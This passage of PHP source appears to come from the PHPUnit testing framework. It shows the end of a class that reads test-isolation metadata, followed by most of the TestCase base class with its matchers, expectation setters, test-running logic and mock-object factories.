$metadataForMethod = MetadataRegistry::parser()->forMethod($className, $methodName); if ($metadataForMethod->isPreserveGlobalState()->isNotEmpty()) { $metadata = $metadataForMethod->isPreserveGlobalState()->asArray()[0]; assert($metadata instanceof PreserveGlobalState); return $metadata->enabled(); } $metadataForClass = MetadataRegistry::parser()->forClass($className); if ($metadataForClass->isPreserveGlobalState()->isNotEmpty()) { $metadata = $metadataForClass->isPreserveGlobalState()->asArray()[0]; assert($metadata instanceof PreserveGlobalState); return $metadata->enabled(); } return null; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ private function shouldTestMethodBeRunInSeparateProcess(string $className, string $methodName): bool { if (MetadataRegistry::parser()->forClass($className)->isRunTestsInSeparateProcesses()->isNotEmpty()) { return true; } if (MetadataRegistry::parser()->forMethod($className, $methodName)->isRunInSeparateProcess()->isNotEmpty()) { return true; } return false; } /** * @psalm-param class-string $className */ private function shouldAllTestMethodsOfTestClassBeRunInSingleSeparateProcess(string $className): bool { return MetadataRegistry::parser()->forClass($className)->isRunClassInSeparateProcess()->isNotEmpty(); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ private function requirementsSatisfied(string $className, string $methodName): bool { return (new Requirements)->requirementsNotSatisfiedFor($className, $methodName) === []; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const LC_ALL; use const LC_COLLATE; use const LC_CTYPE; use const LC_MONETARY; use const LC_NUMERIC; use const LC_TIME; use const PATHINFO_FILENAME; use const PHP_EOL; use const PHP_URL_PATH; use function array_is_list; use function array_keys; use function array_map; use function array_merge; use function array_values; use function assert; use function basename; use function chdir; use function class_exists; use function clearstatcache; use function count; use function defined; use function explode; use function getcwd; use function implode; use function in_array; use function ini_set; use function is_array; use function is_callable; use function is_int; use function is_object; use function is_string; use function libxml_clear_errors; use function method_exists; use function ob_end_clean; use function ob_get_clean; use function ob_get_contents; use function ob_get_level; use function ob_start; use function parse_url; use function pathinfo; use function preg_replace; use function setlocale; use function sprintf; use function str_contains; use function trim; use AssertionError; use DeepCopy\DeepCopy; use PHPUnit\Event; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Event\RuntimeException; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Framework\Constraint\Exception as ExceptionConstraint; use PHPUnit\Framework\Constraint\ExceptionCode; use PHPUnit\Framework\Constraint\ExceptionMessageIsOrContains; use PHPUnit\Framework\Constraint\ExceptionMessageMatchesRegularExpression; use PHPUnit\Framework\MockObject\Exception as MockObjectException; use PHPUnit\Framework\MockObject\Generator\Generator as MockGenerator; use PHPUnit\Framework\MockObject\MockBuilder; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\MockObject\MockObjectInternal; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedCount; use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; use PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; use PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; use PHPUnit\Framework\TestSize\TestSize; use PHPUnit\Framework\TestStatus\TestStatus; use PHPUnit\Metadata\Api\Groups; use PHPUnit\Metadata\Api\HookMethods; use PHPUnit\Metadata\Api\Requirements; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\TestRunner\TestResult\PassedTests; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; use PHPUnit\Util\Cloner; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use ReflectionException; use ReflectionMethod; use ReflectionObject; use ReflectionParameter; use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Comparator\Factory as ComparatorFactory; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; use SebastianBergmann\Exporter\Exporter; use SebastianBergmann\GlobalState\ExcludeList as GlobalStateExcludeList; use SebastianBergmann\GlobalState\Restorer; use SebastianBergmann\GlobalState\Snapshot; use SebastianBergmann\Invoker\TimeoutException; use SebastianBergmann\ObjectEnumerator\Enumerator; use SebastianBergmann\RecursionContext\Context; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TestCase extends Assert implements Reorderable, SelfDescribing, Test { private const LOCALE_CATEGORIES = [LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, LC_TIME]; private ?bool $backupGlobals = null; /** * @psalm-var list */ private array $backupGlobalsExcludeList = []; private ?bool $backupStaticProperties = null; /** * @psalm-var array> */ private array $backupStaticPropertiesExcludeList = []; private ?Snapshot $snapshot = null; private ?bool $runClassInSeparateProcess = null; private ?bool $runTestInSeparateProcess = null; private bool $preserveGlobalState = false; private bool $inIsolation = false; private ?string $expectedException = null; private ?string $expectedExceptionMessage = null; private ?string $expectedExceptionMessageRegExp = null; private null|int|string $expectedExceptionCode = null; /** * @psalm-var list */ private array $providedTests = []; private array $data = []; private int|string $dataName = ''; /** * @psalm-var non-empty-string */ private string $name; /** * @psalm-var list */ private array $groups = []; /** * @psalm-var list */ private array $dependencies = []; private array $dependencyInput = []; /** * @psalm-var array */ private array $iniSettings = []; private array $locale = []; /** * @psalm-var list */ private array $mockObjects = []; private bool $registerMockObjectsFromTestArgumentsRecursively = false; private TestStatus $status; private int $numberOfAssertionsPerformed = 0; private mixed $testResult = null; private string $output = ''; private ?string $outputExpectedRegex = null; private ?string $outputExpectedString = null; private bool $outputBufferingActive = false; private int $outputBufferingLevel; private bool $outputRetrievedForAssertion = false; private bool $doesNotPerformAssertions = false; /** * @psalm-var list */ private array $customComparators = []; private ?Event\Code\TestMethod $testValueObjectForEvents = null; private bool $wasPrepared = false; /** * @psalm-var array */ private array $failureTypes = []; /** * Returns a matcher that matches when the method is executed * zero or more times. */ final public static function any(): AnyInvokedCountMatcher { return new AnyInvokedCountMatcher; } /** * Returns a matcher that matches when the method is never executed. */ final public static function never(): InvokedCountMatcher { return new InvokedCountMatcher(0); } /** * Returns a matcher that matches when the method is executed * at least N times. */ final public static function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher { return new InvokedAtLeastCountMatcher( $requiredInvocations, ); } /** * Returns a matcher that matches when the method is executed at least once. */ final public static function atLeastOnce(): InvokedAtLeastOnceMatcher { return new InvokedAtLeastOnceMatcher; } /** * Returns a matcher that matches when the method is executed exactly once. */ final public static function once(): InvokedCountMatcher { return new InvokedCountMatcher(1); } /** * Returns a matcher that matches when the method is executed * exactly $count times. */ final public static function exactly(int $count): InvokedCountMatcher { return new InvokedCountMatcher($count); } /** * Returns a matcher that matches when the method is executed * at most N times. */ final public static function atMost(int $allowedInvocations): InvokedAtMostCountMatcher { return new InvokedAtMostCountMatcher($allowedInvocations); } /** * @deprecated Use $double->willReturn() instead of $double->will($this->returnValue()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * * @codeCoverageIgnore */ final public static function returnValue(mixed $value): ReturnStub { return new ReturnStub($value); } /** * @deprecated Use $double->willReturnMap() instead of $double->will($this->returnValueMap()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * * @codeCoverageIgnore */ final public static function returnValueMap(array $valueMap): ReturnValueMapStub { return new ReturnValueMapStub($valueMap); } /** * @deprecated Use $double->willReturnArgument() instead of $double->will($this->returnArgument()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * * @codeCoverageIgnore */ final public static function returnArgument(int $argumentIndex): ReturnArgumentStub { return new ReturnArgumentStub($argumentIndex); } /** * @deprecated Use $double->willReturnCallback() instead of $double->will($this->returnCallback()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * * @codeCoverageIgnore */ final public static function returnCallback(callable $callback): ReturnCallbackStub { return new ReturnCallbackStub($callback); } /** * @deprecated Use $double->willReturnSelf() instead of $double->will($this->returnSelf()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * * @codeCoverageIgnore */ final public static function returnSelf(): ReturnSelfStub { return new ReturnSelfStub; } final public static function throwException(Throwable $exception): ExceptionStub { return new ExceptionStub($exception); } /** * @deprecated Use $double->willReturn() instead of $double->will($this->onConsecutiveCalls()) * @see https://github.com/sebastianbergmann/phpunit/issues/5423 * @see https://github.com/sebastianbergmann/phpunit/issues/5425 * * @codeCoverageIgnore */ final public static function onConsecutiveCalls(mixed ...$arguments): ConsecutiveCallsStub { return new ConsecutiveCallsStub($arguments); } /** * @psalm-param non-empty-string $name * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function __construct(string $name) { $this->setName($name); $this->status = TestStatus::unknown(); } /** * This method is called before the first test of this test class is run. * * @codeCoverageIgnore */ public static function setUpBeforeClass(): void { } /** * This method is called after the last test of this test class is run. * * @codeCoverageIgnore */ public static function tearDownAfterClass(): void { } /** * This method is called before each test. * * @codeCoverageIgnore */ protected function setUp(): void { } /** * Performs assertions shared by all tests of a test case. * * This method is called between setUp() and test. * * @codeCoverageIgnore */ protected function assertPreConditions(): void { } /** * Performs assertions shared by all tests of a test case. * * This method is called between test and tearDown(). * * @codeCoverageIgnore */ protected function assertPostConditions(): void { } /** * This method is called after each test. * * @codeCoverageIgnore */ protected function tearDown(): void { } /** * Returns a string representation of the test case. * * @throws Exception * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function toString(): string { $buffer = sprintf( '%s::%s', (new ReflectionClass($this))->getName(), $this->name, ); return $buffer . $this->dataSetAsStringWithData(); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function count(): int { return 1; } final public function getActualOutputForAssertion(): string { $this->outputRetrievedForAssertion = true; return $this->output(); } final public function expectOutputRegex(string $expectedRegex): void { $this->outputExpectedRegex = $expectedRegex; } final public function expectOutputString(string $expectedString): void { $this->outputExpectedString = $expectedString; } /** * @psalm-param class-string $exception */ final public function expectException(string $exception): void { $this->expectedException = $exception; } final public function expectExceptionCode(int|string $code): void { $this->expectedExceptionCode = $code; } final public function expectExceptionMessage(string $message): void { $this->expectedExceptionMessage = $message; } final public function expectExceptionMessageMatches(string $regularExpression): void { $this->expectedExceptionMessageRegExp = $regularExpression; } /** * Sets up an expectation for an exception to be raised by the code under test. * Information for expected exception class, expected exception message, and * expected exception code are retrieved from a given Exception object. */ final public function expectExceptionObject(\Exception $exception): void { $this->expectException($exception::class); $this->expectExceptionMessage($exception->getMessage()); $this->expectExceptionCode($exception->getCode()); } final public function expectNotToPerformAssertions(): void { $this->doesNotPerformAssertions = true; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function status(): TestStatus { return $this->status; } /** * @throws \PHPUnit\Runner\Exception * @throws \PHPUnit\Util\Exception * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException * @throws \SebastianBergmann\Template\InvalidArgumentException * @throws CodeCoverageException * @throws Exception * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException * @throws ProcessIsolationException * @throws UnintentionallyCoveredCodeException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function run(): void { if (!$this->handleDependencies()) { return; } if (!$this->shouldRunInSeparateProcess() || $this->requirementsNotSatisfied()) { (new TestRunner)->run($this); } else { (new TestRunner)->runInSeparateProcess( $this, $this->runClassInSeparateProcess && !$this->runTestInSeparateProcess, $this->preserveGlobalState, ); } } /** * Returns a builder object to create mock objects using a fluent interface. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $className * * @psalm-return MockBuilder */ final public function getMockBuilder(string $className): MockBuilder { return new MockBuilder($this, $className); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function groups(): array { return $this->groups; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setGroups(array $groups): void { $this->groups = $groups; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function nameWithDataSet(): string { return $this->name . $this->dataSetAsString(); } /** * @psalm-return non-empty-string * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function name(): string { return $this->name; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function size(): TestSize { return (new Groups)->size( static::class, $this->name, ); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function hasUnexpectedOutput(): bool { if ($this->output === '') { return false; } if ($this->expectsOutput()) { return false; } return true; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function output(): string { if (!$this->outputBufferingActive) { return $this->output; } return (string) ob_get_contents(); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function doesNotPerformAssertions(): bool { return $this->doesNotPerformAssertions; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function expectsOutput(): bool { return $this->hasExpectationOnOutput() || $this->outputRetrievedForAssertion; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit * * @deprecated * * @codeCoverageIgnore */ final public function registerMockObjectsFromTestArgumentsRecursively(): void { $this->registerMockObjectsFromTestArgumentsRecursively = true; } /** * @throws Throwable * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function runBare(): void { $emitter = Event\Facade::emitter(); $emitter->testPreparationStarted( $this->valueObjectForEvents(), ); $this->snapshotGlobalState(); $this->startOutputBuffering(); clearstatcache(); $hookMethods = (new HookMethods)->hookMethods(static::class); $hasMetRequirements = false; $this->numberOfAssertionsPerformed = 0; $currentWorkingDirectory = getcwd(); try { $this->checkRequirements(); $hasMetRequirements = true; if ($this->inIsolation) { // @codeCoverageIgnoreStart $this->invokeBeforeClassHookMethods($hookMethods, $emitter); // @codeCoverageIgnoreEnd } if (method_exists(static::class, $this->name) && MetadataRegistry::parser()->forClassAndMethod(static::class, $this->name)->isDoesNotPerformAssertions()->isNotEmpty()) { $this->doesNotPerformAssertions = true; } $this->invokeBeforeTestHookMethods($hookMethods, $emitter); $this->invokePreConditionHookMethods($hookMethods, $emitter); $emitter->testPrepared( $this->valueObjectForEvents(), ); $this->wasPrepared = true; $this->testResult = $this->runTest(); $this->verifyMockObjects(); $this->invokePostConditionHookMethods($hookMethods, $emitter); $this->status = TestStatus::success(); } catch (IncompleteTest $e) { $this->status = TestStatus::incomplete($e->getMessage()); $emitter->testMarkedAsIncomplete( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($e), ); } catch (SkippedTest $e) { $this->status = TestStatus::skipped($e->getMessage()); $emitter->testSkipped( $this->valueObjectForEvents(), $e->getMessage(), ); } catch (AssertionError|AssertionFailedError $e) { $this->handleExceptionFromInvokedCountMockObjectRule($e); if (!$this->wasPrepared) { $this->wasPrepared = true; $emitter->testPreparationFailed( $this->valueObjectForEvents(), ); } $this->status = TestStatus::failure($e->getMessage()); $emitter->testFailed( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($e), Event\Code\ComparisonFailureBuilder::from($e), ); } catch (TimeoutException $e) { } catch (Throwable $_e) { if ($this->isRegisteredFailure($_e)) { $this->status = TestStatus::failure($_e->getMessage()); $emitter->testFailed( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($_e), null, ); } else { $e = $this->transformException($_e); $this->status = TestStatus::error($e->getMessage()); $emitter->testErrored( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($e), ); } } $outputBufferingStopped = false; if (!isset($e) && $this->hasExpectationOnOutput() && $this->stopOutputBuffering()) { $outputBufferingStopped = true; $this->performAssertionsOnOutput(); } if ($this->status->isSuccess()) { $emitter->testPassed( $this->valueObjectForEvents(), ); if (!$this->usesDataProvider()) { PassedTests::instance()->testMethodPassed( $this->valueObjectForEvents(), $this->testResult, ); } } try { $this->mockObjects = []; } catch (Throwable $t) { Event\Facade::emitter()->testErrored( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($t), ); } // Tear down the fixture. An exception raised in tearDown() will be // caught and passed on when no exception was raised before. try { if ($hasMetRequirements) { $this->invokeAfterTestHookMethods($hookMethods, $emitter); if ($this->inIsolation) { // @codeCoverageIgnoreStart $this->invokeAfterClassHookMethods($hookMethods, $emitter); // @codeCoverageIgnoreEnd } } } catch (AssertionError|AssertionFailedError $e) { $this->status = TestStatus::failure($e->getMessage()); $emitter->testFailed( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($e), Event\Code\ComparisonFailureBuilder::from($e), ); } catch (Throwable $exceptionRaisedDuringTearDown) { if (!isset($e)) { $this->status = TestStatus::error($exceptionRaisedDuringTearDown->getMessage()); $e = $exceptionRaisedDuringTearDown; $emitter->testErrored( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($exceptionRaisedDuringTearDown), ); } } if (!$outputBufferingStopped) { $this->stopOutputBuffering(); } clearstatcache(); if ($currentWorkingDirectory !== getcwd()) { chdir($currentWorkingDirectory); } $this->restoreGlobalState(); $this->unregisterCustomComparators(); $this->cleanupIniSettings(); $this->cleanupLocaleSettings(); libxml_clear_errors(); $this->testValueObjectForEvents = null; if (isset($e)) { $this->onNotSuccessfulTest($e); } } /** * @psalm-param non-empty-string $name * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setName(string $name): void { $this->name = $name; if (is_callable($this->sortId(), true)) { $this->providedTests = [new ExecutionOrderDependency($this->sortId())]; } } /** * @psalm-param list $dependencies * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setDependencies(array $dependencies): void { $this->dependencies = $dependencies; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final public function setDependencyInput(array $dependencyInput): void { $this->dependencyInput = $dependencyInput; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function dependencyInput(): array { return $this->dependencyInput; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function hasDependencyInput(): bool { return !empty($this->dependencyInput); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setBackupGlobals(bool $backupGlobals): void { $this->backupGlobals = $backupGlobals; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setBackupGlobalsExcludeList(array $backupGlobalsExcludeList): void { $this->backupGlobalsExcludeList = $backupGlobalsExcludeList; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setBackupStaticProperties(bool $backupStaticProperties): void { $this->backupStaticProperties = $backupStaticProperties; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setBackupStaticPropertiesExcludeList(array $backupStaticPropertiesExcludeList): void { $this->backupStaticPropertiesExcludeList = $backupStaticPropertiesExcludeList; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setRunTestInSeparateProcess(bool $runTestInSeparateProcess): void { if ($this->runTestInSeparateProcess === null) { $this->runTestInSeparateProcess = $runTestInSeparateProcess; } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setRunClassInSeparateProcess(bool $runClassInSeparateProcess): void { $this->runClassInSeparateProcess = $runClassInSeparateProcess; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setPreserveGlobalState(bool $preserveGlobalState): void { $this->preserveGlobalState = $preserveGlobalState; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final public function setInIsolation(bool $inIsolation): void { $this->inIsolation = $inIsolation; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final public function result(): mixed { return $this->testResult; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setResult(mixed $result): void { $this->testResult = $result; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function registerMockObject(MockObject $mockObject): void { assert($mockObject instanceof MockObjectInternal); $this->mockObjects[] = $mockObject; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function addToAssertionCount(int $count): void { $this->numberOfAssertionsPerformed += $count; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function numberOfAssertionsPerformed(): int { return $this->numberOfAssertionsPerformed; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function usesDataProvider(): bool { return !empty($this->data); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function dataName(): int|string { return $this->dataName; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function dataSetAsString(): string { $buffer = ''; if (!empty($this->data)) { if (is_int($this->dataName)) { $buffer .= sprintf(' with data set #%d', $this->dataName); } else { $buffer .= sprintf(' with data set "%s"', $this->dataName); } } return $buffer; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function dataSetAsStringWithData(): string { if (empty($this->data)) { return ''; } return $this->dataSetAsString() . sprintf( ' (%s)', (new Exporter)->shortenedRecursiveExport($this->data), ); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function providedData(): array { return $this->data; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function sortId(): string { $id = $this->name; if (!str_contains($id, '::')) { $id = static::class . '::' . $id; } if ($this->usesDataProvider()) { $id .= $this->dataSetAsString(); } return $id; } /** * @psalm-return list * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function provides(): array { return $this->providedTests; } /** * @psalm-return list * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function requires(): array { return $this->dependencies; } /** * @throws RuntimeException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function setData(int|string $dataName, array $data): void { $this->dataName = $dataName; $this->data = $data; if (array_is_list($data)) { return; } try { $reflector = new ReflectionMethod($this, $this->name); $parameters = array_map(static fn (ReflectionParameter $parameter) => $parameter->name, $reflector->getParameters()); foreach (array_keys($data) as $parameter) { if (is_string($parameter) && !in_array($parameter, $parameters, true)) { Event\Facade::emitter()->testTriggeredPhpunitDeprecation( $this->valueObjectForEvents(), sprintf( 'Providing invalid named argument $%s for method %s::%s() is deprecated and will not be supported in PHPUnit 11.0.', $parameter, $this::class, $this->name, ), ); } } // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit * * @throws MoreThanOneDataSetFromDataProviderException */ final public function valueObjectForEvents(): Event\Code\TestMethod { if ($this->testValueObjectForEvents !== null) { return $this->testValueObjectForEvents; } $this->testValueObjectForEvents = Event\Code\TestMethodBuilder::fromTestCase($this); return $this->testValueObjectForEvents; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ final public function wasPrepared(): bool { return $this->wasPrepared; } final protected function registerComparator(Comparator $comparator): void { ComparatorFactory::getInstance()->register($comparator); Event\Facade::emitter()->testRegisteredComparator($comparator::class); $this->customComparators[] = $comparator; } /** * @psalm-param class-string $classOrInterface */ final protected function registerFailureType(string $classOrInterface): void { $this->failureTypes[$classOrInterface] = true; } /** * This method is a wrapper for the ini_set() function that automatically * resets the modified php.ini setting to its original value after the * test is run. * * @throws Exception * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5214 * * @codeCoverageIgnore */ protected function iniSet(string $varName, string $newValue): void { $currentValue = ini_set($varName, $newValue); if ($currentValue !== false) { $this->iniSettings[$varName] = $currentValue; } else { throw new Exception( sprintf( 'INI setting "%s" could not be set to "%s".', $varName, $newValue, ), ); } } /** * This method is a wrapper for the setlocale() function that automatically * resets the locale to its original value after the test is run. * * @throws Exception * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5216 * * @codeCoverageIgnore */ protected function setLocale(mixed ...$arguments): void { if (count($arguments) < 2) { throw new Exception; } [$category, $locale] = $arguments; if (!in_array($category, self::LOCALE_CATEGORIES, true)) { throw new Exception; } if (!is_array($locale) && !is_string($locale)) { throw new Exception; } $this->locale[$category] = setlocale($category, '0'); $result = setlocale(...$arguments); if ($result === false) { throw new Exception( 'The locale functionality is not implemented on your platform, ' . 'the specified locale does not exist or the category name is ' . 'invalid.', ); } } /** * Creates a mock object for the specified interface or class. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * @throws NoPreviousThrowableException * * @psalm-return MockObject&RealInstanceType */ protected function createMock(string $originalClassName): MockObject { $mock = (new MockGenerator)->testDouble( $originalClassName, true, callOriginalConstructor: false, callOriginalClone: false, cloneArguments: false, allowMockingUnknownTypes: false, ); assert($mock instanceof $originalClassName); assert($mock instanceof MockObject); $this->registerMockObject($mock); Event\Facade::emitter()->testCreatedMockObject($originalClassName); return $mock; } /** * @psalm-param list $interfaces * * @throws MockObjectException */ protected function createMockForIntersectionOfInterfaces(array $interfaces): MockObject { $mock = (new MockGenerator)->testDoubleForInterfaceIntersection($interfaces, true); assert($mock instanceof MockObject); $this->registerMockObject($mock); Event\Facade::emitter()->testCreatedMockObjectForIntersectionOfInterfaces($interfaces); return $mock; } /** * Creates (and configures) a mock object for the specified interface or class. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * @throws NoPreviousThrowableException * * @psalm-return MockObject&RealInstanceType */ protected function createConfiguredMock(string $originalClassName, array $configuration): MockObject { $o = $this->createMock($originalClassName); foreach ($configuration as $method => $return) { $o->method($method)->willReturn($return); } return $o; } /** * Creates a partial mock object for the specified interface or class. * * @psalm-param list $methods * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * * @psalm-return MockObject&RealInstanceType */ protected function createPartialMock(string $originalClassName, array $methods): MockObject { $partialMock = $this->getMockBuilder($originalClassName) ->disableOriginalConstructor() ->disableOriginalClone() ->disableArgumentCloning() ->disallowMockingUnknownTypes() ->onlyMethods($methods) ->getMock(); Event\Facade::emitter()->testCreatedPartialMockObject( $originalClassName, ...$methods, ); return $partialMock; } /** * Creates a test proxy for the specified class. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * * @psalm-return MockObject&RealInstanceType * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5240 */ protected function createTestProxy(string $originalClassName, array $constructorArguments = []): MockObject { $testProxy = $this->getMockBuilder($originalClassName) ->setConstructorArgs($constructorArguments) ->enableProxyingToOriginalMethods() ->getMock(); Event\Facade::emitter()->testCreatedTestProxy( $originalClassName, $constructorArguments, ); return $testProxy; } /** * Creates a mock object for the specified abstract class with all abstract * methods of the class mocked. Concrete methods are not mocked by default. * To mock concrete methods, use the 7th parameter ($mockedMethods). * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * * @psalm-return MockObject&RealInstanceType * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5241 */ protected function getMockForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject { $mockObject = (new MockGenerator)->mockObjectForAbstractClass( $originalClassName, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments, ); $this->registerMockObject($mockObject); Event\Facade::emitter()->testCreatedMockObjectForAbstractClass($originalClassName); assert($mockObject instanceof $originalClassName); assert($mockObject instanceof MockObject); return $mockObject; } /** * Creates a mock object based on the given WSDL file. * * @throws MockObjectException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5242 */ protected function getMockFromWsdl(string $wsdlFile, string $originalClassName = '', string $mockClassName = '', array $methods = [], bool $callOriginalConstructor = true, array $options = []): MockObject { if ($originalClassName === '') { $fileName = pathinfo(basename(parse_url($wsdlFile, PHP_URL_PATH)), PATHINFO_FILENAME); $originalClassName = preg_replace('/\W/', '', $fileName); } if (!class_exists($originalClassName)) { eval( (new MockGenerator)->generateClassFromWsdl( $wsdlFile, $originalClassName, $methods, $options, ) ); } $mockObject = (new MockGenerator)->testDouble( $originalClassName, true, $methods, ['', $options], $mockClassName, $callOriginalConstructor, false, false, ); Event\Facade::emitter()->testCreatedMockObjectFromWsdl( $wsdlFile, $originalClassName, $mockClassName, $methods, $callOriginalConstructor, $options, ); assert($mockObject instanceof MockObject); $this->registerMockObject($mockObject); return $mockObject; } /** * Creates a mock object for the specified trait with all abstract methods * of the trait mocked. Concrete methods to mock can be specified with the * `$mockedMethods` parameter. * * @psalm-param trait-string $traitName * * @throws InvalidArgumentException * @throws MockObjectException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5243 */ protected function getMockForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject { $mockObject = (new MockGenerator)->mockObjectForTrait( $traitName, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments, ); $this->registerMockObject($mockObject); Event\Facade::emitter()->testCreatedMockObjectForTrait($traitName); return $mockObject; } /** * Creates an object that uses the specified trait. * * @psalm-param trait-string $traitName * * @throws 